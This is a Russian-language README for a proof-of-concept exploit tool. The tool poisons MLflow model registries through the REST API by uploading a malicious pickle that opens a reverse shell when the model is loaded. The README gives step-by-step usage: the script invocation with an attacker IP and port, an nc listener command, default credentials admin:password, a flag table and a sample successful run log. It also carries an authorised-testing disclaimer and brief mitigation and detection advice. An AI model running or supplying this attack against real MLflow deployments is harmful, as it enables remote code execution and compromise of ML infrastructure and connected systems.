
Proof-of-concept, который отравляет зарегистрированные модели MLflow через REST API, внедряя вредоносный pickle для запуска RCE при загрузке модели.
Универсальный proof-of-concept для RCE через десериализацию pickle в реестрах моделей MLflow (в стиле CVE-2024-37054). Взаимодействует только с MLflow REST API — без предположений о каком-либо конкретном клиентском приложении перед ним.
⚠️ Только для авторизованного тестирования безопасности. Запускайте это только против систем, которыми вы владеете или которые вам явно разрешено тестировать (CTF/лабораторные среды, проекты с подписанным скоупом и т. д.). Неавторизованный доступ к компьютерным системам незаконен в большинстве юрисдикций.
Flavor pyfunc в MLflow загружает зарегистрированную модель путём распаковки pickle артефакта model.pkl всякий раз, когда вызывается mlflow.pyfunc.load_model() — будь то напрямую через MLflow UI/API или косвенно через какое-либо клиентское приложение, выполняющее инференс против зарегистрированной модели.
Модуль pickle в Python может выполнять произвольный код во время десериализации через метод __reduce__ объекта. Если у атакующего достаточно доступа к MLflow API, чтобы:
...он может протащить вредоносный pickle в качестве model.pkl. В следующий раз, когда что-либо загрузит эту версию модели, код атакующего выполнится в контексте процесса, выполняющего загрузку (сам сервер MLflow или клиентское приложение, встраивающее MLflow).
Это тот же базовый примитив, лежащий в основе нескольких CVE MLflow, включая CVE-2023-6015, CVE-2023-6018 и CVE-2024-37054. Он особенно опасен, потому что экземпляры MLflow часто развёртываются без аутентификации или с общеизвестными учётными данными по умолчанию (admin:password).
Полностью управляется через API, по порядку:
--model-name).model.pkl — pickle, чей __reduce__ вызывает os.system() для запуска reverse shell.MLmodel — манифест, объявляющий flavor python_function / sklearn, опирающийся на этот pickle.Production), поскольку многие клиентские приложения загружают только версию модели, находящуюся в стадии Production.Он не обнаруживает и не инициирует фактическую загрузку модели — эта часть отличается для каждого развёртывания:
mlflow.pyfunc.load_model() за каким-либо эндпоинтом (маршрут /predict, запланированное пакетное задание и т. д.).Вам нужно:
--model-name — из MLflow UI, MLflow API (/api/2.0/mlflow/registered-models/search) или из того, что возвращает клиентское приложение, когда регистрирует модель от вашего имени.pip install requests --break-system-packages
Python 3.8+. Других зависимостей нет.
python3 mlflow_pickle_rce.py \
--mlflow http://mlflow.target.tld \
--model-name my-target-model \
--lhost 10.10.14.1 --lport 4444
Запустите слушатель до или после запуска:
nc -lvnp 4444
Затем инициируйте загрузку так, как это делает целевое приложение (собственный эндпоинт инференса, пакетное задание, ручная загрузка модели из MLflow UI и т. д.).
| Флаг | По умолчанию | Описание |
|---|---|---|
--mlflow | (обязательно) | Базовый URL MLflow |
--model-name | случайно | Имя зарегистрированной модели для отравления; создаётся, если не существует |
--lhost | (обязательно) | IP вашего слушателя |
--lport | 4444 | Порт вашего слушателя |
--username | admin | Имя пользователя для basic auth MLflow |
--password | password | Пароль для basic auth MLflow |
--experiment-id | 0 | ID эксперимента, в котором создаётся запуск |
--stage | Production | Стадия, в которую переводится вредоносная версия, или none для пропуска перехода |
$ python3 mlflow_pickle_rce.py --mlflow http://mlflow.target.tld \
--model-name my-target-model --lhost 10.10.14.1 --lport 4444
[*] Verifying MLflow access at http://mlflow.target.tld ...
[+] MLflow API reachable (200)
[*] Ensuring registered model 'my-target-model' exists ...
[+] Model 'my-target-model' already exists, reusing it
[*] Creating run under experiment 0 ...
[+] Run ID: 3f9b1c2a...
[*] Uploading MLmodel ...
[+] MLmodel upload: 200
[*] Uploading model.pkl ...
[+] model.pkl upload: 200
[*] Registering malicious model version for 'my-target-model' ...
[+] Model version: 200 - {...}
[*] Transitioning version 2 to stage 'Production' ...
[+] Stage transition: 200
[+] Malicious model version is registered.
[+] Model name: my-target-model
[+] Listener: nc -lvnp 4444
[+] Now trigger whatever loads this model version in the target app
(e.g. its /predict endpoint, or wait for a scheduled job that
calls mlflow.pyfunc.load_model() on it).
admin:password).pickle (например, ONNX или flavors с более безопасной сериализацией), либо валидируйте/изолируйте загрузку моделей.registered-models/create, model-versions/create и transition-stage в журналах аудита/доступа MLflow, особенно от учётных записей, которые не должны публиковать модели в Production.load_model()), чтобы примитив выполнения кода там не имел прямого пути к чувствительным внутренним системам.MIT — см. LICENSE.